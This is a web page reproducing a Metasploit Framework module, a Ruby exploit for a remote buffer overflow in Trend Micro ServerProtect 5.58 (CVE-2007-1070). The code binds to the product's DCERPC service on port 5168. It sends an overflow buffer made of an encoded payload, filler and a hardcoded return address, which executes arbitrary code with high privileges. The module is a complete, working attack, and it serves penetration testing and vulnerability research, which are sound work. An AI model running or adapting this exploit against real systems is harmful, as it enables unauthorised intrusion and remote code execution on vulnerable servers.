CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Trend Micro ServerProtect 5.58 Buffer Overflow',
14
'Description' => %q{
15
This module exploits a buffer overflow in Trend Micro ServerProtect 5.58 Build 1060.
16
By sending a specially crafted RPC request, an attacker could overflow the
17
buffer and execute arbitrary code.
18
},
19
'Author' => [ 'MC' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
['CVE', '2007-1070'],
24
['OSVDB', '33042'],
25
['BID', '22639'],
26
],
27
'Privileged' => true,
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' =>
33
{
34
'Space' => 800,
35
'BadChars' => "\x00",
36
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
37
},
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
[ 'Trend Micro ServerProtect 5.58 Build 1060', { 'Ret' => 0x6563124c } ], # CALL EBX - StCommon.dll
42
],
43
'DefaultTarget' => 0,
44
'DisclosureDate' => '2007-02-20'))
45
46
register_options( [ Opt::RPORT(5168) ])
47
end
48
49
def exploit
50
connect
51
handle = dcerpc_handle('25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
52
print_status("Binding to #{handle} ...")
53
54
dcerpc_bind(handle)
55
print_status("Bound to #{handle} ...")
56
57
filler = payload.encoded + rand_text_english(1600 - payload.encoded.length) + [target.ret].pack('V')
58
59
len = filler.length
60
61
# CMON_NetTestConnection
62
sploit = NDR.long(0x000a0017) + NDR.long(len) + filler + NDR.long(0)
63
64
print_status("Trying target #{target.name}...")
65
66
begin
67
dcerpc_call(0, sploit)
68
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
69
end
70
71
handler
72
disconnect
73
end
74
end
75
76